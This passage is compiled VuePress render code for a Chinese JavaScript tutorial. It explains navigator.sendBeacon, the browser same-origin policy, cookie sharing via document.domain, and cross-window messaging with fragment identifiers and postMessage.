punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("logData")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  navigator"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("sendBeacon")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'/log'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" analyticsData"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 参数一：url，参数二：所要发送的数据")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("p",[s("code",[t._v("Navigator.sendBeacon")]),t._v("方法"),s("strong",[t._v("接受两个参数")]),t._v("，第一个参数是"),s("strong",[t._v("目标服务器的 URL")]),t._v("，第二个参数是"),s("strong",[t._v("所要发送的数据")]),t._v("（可选），可以是任意类型（字符串、表单对象、二进制对象等等）。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("navigator"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("sendBeacon")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("url"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" data"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("  "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 参数一：url，参数二：所要发送的数据")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("这个方法的"),s("strong",[t._v("返回值是一个布尔值，成功发送数据为"),s("code",[t._v("true")]),t._v("，否则为"),s("code",[t._v("false")]),t._v("。")])]),t._v(" "),s("p",[t._v("该方法发送数据的 HTTP 方法是 POST，可以跨域，类似于表单提交数据。它不能指定回调函数。")]),t._v(" "),s("p",[t._v("下面是一个例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// HTML 代码如下")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// <body onload=\"analytics('start')\" onunload=\"analytics('end')\">")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("analytics")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token parameter"}},[t._v("state")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("if")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("!")]),t._v("navigator"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("sendBeacon"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("return")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\n  "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("URL")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://example.com/analytics'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" data "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'state='")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" state "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'&location='")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("location"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  navigator"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("sendBeacon")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("URL")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" data"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br")])]),s("h2",{attrs:{id:"六、同源限制"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#六、同源限制"}},[t._v("#")]),t._v(" 六、同源限制")]),t._v(" "),s("p",[s("strong",[t._v("浏览器安全的基石是“同源政策”")]),t._v("（"),s("a",{attrs:{href:"https://en.wikipedia.org/wiki/Same-origin_policy",target:"_blank",rel:"noopener noreferrer"}},[t._v("same-origin policy"),s("OutboundLink")],1),t._v("）。很多开发者都知道这一点，但了解得不全面。")]),t._v(" "),s("h3",{attrs:{id:"_1、概述-3"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1、概述-3"}},[t._v("#")]),t._v(" 1、概述")]),t._v(" "),s("h4",{attrs:{id:"_1-1-含义"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1-1-含义"}},[t._v("#")]),t._v(" 1.1 含义")]),t._v(" "),s("p",[t._v("1995年，同源政策由 Netscape 公司引入浏览器。目前，所有浏览器都实行这个政策。")]),t._v(" "),s("p",[t._v("最初，它的含义是指，A 网页设置的 Cookie，B 网页不能打开，除非这两个网页“同源”。"),s("strong",[t._v("所谓“同源”指的是“三个相同”。")])]),t._v(" "),s("blockquote",[s("ul",[s("li",[t._v("协议相同")]),t._v(" "),s("li",[t._v("域名相同")]),t._v(" "),s("li",[t._v("端口相同")])])]),t._v(" "),s("p",[t._v("举例来说，"),s("code",[t._v("http://www.example.com/dir/page.html")]),t._v("这个网址，协议是"),s("code",[t._v("http://")]),t._v("，域名是"),s("code",[t._v("www.example.com")]),t._v("，端口是"),s("code",[t._v("80")]),t._v("（默认端口可以省略），它的同源情况如下。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("http://www.example.com/dir2/other.html")]),t._v("：同源")]),t._v(" "),s("li",[s("code",[t._v("http://example.com/dir/other.html")]),t._v("：不同源（域名不同）")]),t._v(" "),s("li",[s("code",[t._v("http://v2.www.example.com/dir/other.html")]),t._v("：不同源（域名不同）")]),t._v(" "),s("li",[s("code",[t._v("http://www.example.com:81/dir/other.html")]),t._v("：不同源（端口不同）")]),t._v(" "),s("li",[s("code",[t._v("https://www.example.com/dir/page.html")]),t._v("：不同源（协议不同）")])]),t._v(" "),s("h4",{attrs:{id:"_1-2-目的"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1-2-目的"}},[t._v("#")]),t._v(" 1.2 目的")]),t._v(" "),s("p",[t._v("同源政策的目的，"),s("strong",[t._v("是为了保证用户信息的安全")]),t._v("，防止恶意的网站窃取数据。")]),t._v(" "),s("p",[t._v("设想这样一种情况：A 网站是一家银行，用户登录以后，A 网站在用户的机器上设置了一个 Cookie，包含了一些隐私信息（比如存款总额）。用户离开 A 网站以后，又去访问 B 网站，如果没有同源限制，B 网站可以读取 A 网站的 Cookie，那么隐私信息就会泄漏。更可怕的是，Cookie 往往用来保存用户的登录状态，如果用户没有退出登录，其他网站就可以冒充用户，为所欲为。因为浏览器同时还规定，提交表单不受同源政策的限制。")]),t._v(" "),s("p",[t._v("由此可见，同源政策是必需的，否则 Cookie 可以共享，互联网就毫无安全可言了。")]),t._v(" "),s("h4",{attrs:{id:"_1-3-限制范围"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1-3-限制范围"}},[t._v("#")]),t._v(" 1.3 限制范围")]),t._v(" "),s("p",[t._v("随着互联网的发展，同源政策越来越严格。目前，如果非同源，共有三种行为受到限制。")]),t._v(" "),s("blockquote",[s("p",[t._v("（1） 无法读取非同源网页的 Cookie、LocalStorage 和 IndexedDB。")]),t._v(" "),s("p",[t._v("（2） 无法接触非同源网页的 DOM。")]),t._v(" "),s("p",[t._v("（3） 无法向非同源地址发送 AJAX 请求（可以发送，但浏览器会拒绝接受响应）。")])]),t._v(" "),s("p",[t._v("另外，通过 JavaScript 脚本可以拿到其他窗口的"),s("code",[t._v("window")]),t._v("对象。如果是非同源的网页，目前允许一个窗口可以接触其他网页的"),s("code",[t._v("window")]),t._v("对象的九个属性和四个方法。")]),t._v(" "),s("ul",[s("li",[t._v("window.closed")]),t._v(" "),s("li",[t._v("window.frames")]),t._v(" "),s("li",[t._v("window.length")]),t._v(" "),s("li",[t._v("window.location")]),t._v(" "),s("li",[t._v("window.opener")]),t._v(" "),s("li",[t._v("window.parent")]),t._v(" "),s("li",[t._v("window.self")]),t._v(" "),s("li",[t._v("window.top")]),t._v(" "),s("li",[t._v("window.window")]),t._v(" "),s("li",[t._v("window.blur()")]),t._v(" "),s("li",[t._v("window.close()")]),t._v(" "),s("li",[t._v("window.focus()")]),t._v(" "),s("li",[t._v("window.postMessage()")])]),t._v(" "),s("p",[t._v("上面的九个属性之中，只有"),s("code",[t._v("window.location")]),t._v("是可读写的，其他八个全部都是只读。而且，即使是"),s("code",[t._v("location")]),t._v("对象，非同源的情况下，也只允许调用"),s("code",[t._v("location.replace")]),t._v("方法和写入"),s("code",[t._v("location.href")]),t._v("属性。")]),t._v(" "),s("p",[t._v("虽然这些限制是必要的，但是有时很不方便，合理的用途也受到影响。下面介绍如何规避上面的限制。")]),t._v(" "),s("h3",{attrs:{id:"_2、cookie"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2、cookie"}},[t._v("#")]),t._v(" 2、Cookie")]),t._v(" "),s("p",[t._v("Cookie 是服务器写入浏览器的一小段信息，只有同源的网页才能共享。如果两个网页一级域名相同，只是次级域名不同，浏览器允许通过设置"),s("code",[t._v("document.domain")]),t._v("共享 Cookie。")]),t._v(" "),s("p",[t._v("举例来说，A 网页的网址是"),s("code",[t._v("http://w1.example.com/a.html")]),t._v("，B 网页的网址是"),s("code",[t._v("http://w2.example.com/b.html")]),t._v("，那么只要设置相同的"),s("code",[t._v("document.domain")]),t._v("，两个网页就可以共享 Cookie。因为浏览器通过"),s("code",[t._v("document.domain")]),t._v("属性来检查是否同源。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 两个网页都需要设置")]),t._v("\ndocument"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("domain "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'example.com'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("注意，A 和 B 两个网页都需要设置"),s("code",[t._v("document.domain")]),t._v("属性，才能达到同源的目的。因为设置"),s("code",[t._v("document.domain")]),t._v("的同时，会把端口重置为"),s("code",[t._v("null")]),t._v("，因此如果只设置一个网页的"),s("code",[t._v("document.domain")]),t._v("，会导致两个网址的端口不同，还是达不到同源的目的。")]),t._v(" "),s("p",[t._v("现在，A 网页通过脚本设置一个 Cookie。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("cookie "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"test1=hello"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("B 网页就可以读到这个 Cookie。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" allCookie "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("注意，这种方法只适用于 Cookie 和 iframe 窗口，LocalStorage 和 IndexedDB 无法通过这种方法，规避同源政策，而要使用下文介绍 PostMessage API。")]),t._v(" "),s("p",[t._v("另外，服务器也可以在设置 Cookie 的时候，指定 Cookie 的所属域名为一级域名，比如"),s("code",[t._v(".example.com")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Set"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" key"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("value"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" domain"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("example"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("com"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" path"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("这样的话，二级域名和三级域名不用做任何设置，都可以读取这个 Cookie。")]),t._v(" "),s("h3",{attrs:{id:"_3、iframe-和多窗口通信"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3、iframe-和多窗口通信"}},[t._v("#")]),t._v(" 3、iframe 和多窗口通信")]),t._v(" "),s("p",[s("code",[t._v("iframe")]),t._v("元素可以在当前网页之中，嵌入其他网页。每个"),s("code",[t._v("iframe")]),t._v("元素形成自己的窗口，即有自己的"),s("code",[t._v("window")]),t._v("对象。"),s("code",[t._v("iframe")]),t._v("窗口之中的脚本，可以获得父窗口和子窗口。但是，只有在同源的情况下，父窗口和子窗口才能通信；如果跨域，就无法拿到对方的 DOM。")]),t._v(" "),s("p",[t._v("比如，父窗口运行下面的命令，如果"),s("code",[t._v("iframe")]),t._v("窗口不是同源，就会报错。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("document\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getElementById")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"myIFrame"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("contentWindow\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("document\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// Uncaught DOMException: Blocked a frame from accessing a cross-origin frame.")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("p",[t._v("上面命令中，父窗口想获取子窗口的 DOM，因为跨域导致报错。")]),t._v(" "),s("p",[t._v("反之亦然，子窗口获取主窗口的 DOM 也会报错。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("parent"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("body\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 报错")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("这种情况不仅适用于"),s("code",[t._v("iframe")]),t._v("窗口，还适用于"),s("code",[t._v("window.open")]),t._v("方法打开的窗口，只要跨域，父窗口与子窗口之间就无法通信。")]),t._v(" "),s("p",[t._v("如果两个窗口一级域名相同，只是二级域名不同，那么设置上一节介绍的"),s("code",[t._v("document.domain")]),t._v("属性，就可以规避同源政策，拿到 DOM。")]),t._v(" "),s("p",[t._v("对于完全不同源的网站，目前有两种方法，可以解决跨域窗口的通信问题。")]),t._v(" "),s("blockquote",[s("ul",[s("li",[t._v("片段识别符（fragment identifier）")]),t._v(" "),s("li",[t._v("跨文档通信API（Cross-document messaging）")])])]),t._v(" "),s("h4",{attrs:{id:"_3-1-片段识别符"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-1-片段识别符"}},[t._v("#")]),t._v(" 3.1 片段识别符")]),t._v(" "),s("p",[t._v("片段标识符（fragment identifier）指的是，URL 的"),s("code",[t._v("#")]),t._v("号后面的部分，比如"),s("code",[t._v("http://example.com/x.html#fragment")]),t._v("的"),s("code",[t._v("#fragment")]),t._v("。如果只是改变片段标识符，页面不会重新刷新。")]),t._v(" "),s("p",[t._v("父窗口可以把信息，写入子窗口的片段标识符。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" src "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" originURL "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'#'")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" data"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\ndocument"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getElementById")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'myIFrame'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("src "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" src"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("上面代码中，父窗口把所要传递的信息，写入 iframe 窗口的片段标识符。")]),t._v(" "),s("p",[t._v("子窗口通过监听"),s("code",[t._v("hashchange")]),t._v("事件得到通知。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("onhashchange "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" checkMessage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("checkMessage")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" message "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("location"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("hash"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// ...")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("同样的，子窗口也可以改变父窗口的片段标识符。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("parent"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("location"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("href "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" target "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'#'")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" hash"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("h4",{attrs:{id:"_3-2-window-postmessage"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-2-window-postmessage"}},[t._v("#")]),t._v(" 3.2 window.postMessage()")]),t._v(" "),s("p",[t._v("上面的这种方法属于破解，HTML5 为了解决这个问题，引入了一个全新的API：跨文档通信 API（Cross-document messaging）。")]),t._v(" "),s("p",[t._v("这个 API 为"),s("code",[t._v("window")]),t._v("对象新增了一个"),s("code",[t._v("window.postMessage")]),t._v("方法，允许跨窗口通信，不论这两个窗口是否同源。举例来说，父窗口"),s("code",[t._v("aaa.com")]),t._v("向子窗口"),s("code",[t._v("bbb.com")]),t._v("发消息，调用"),s("code",[t._v("postMessage")]),t._v("方法就可以了。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 父窗口打开一个子窗口")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" popup "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://bbb.com'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'title'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 父窗口向子窗口发消息")]),t._v("\npopup"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("postMessage")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'Hello World!'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://bbb.com'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br")])]),s("p",[s("code",[t._v("postMessage")]),t._v("方法的第一个参数是具体的信息内容，第二个参数是接收消息的窗口的源（origin），即“协议 + 域名 + 端口”。也可以设为"),s("code",[t._v("*")]),t._v("，表示不限制域名，向所有窗口发送。")]),t._v(" "),s("p",[t._v("子窗口向父窗口发送消息的写法类似。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 子窗口向父窗口发消息")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("opener"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("postMessage")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'Nice to see you'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://aaa.com'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("父窗口和子窗口都可以通过"),s("code",[t._v("message")]),t._v("事件，监听对方的消息。")]),t._v(" "),s("div",{staticClass:"language-js 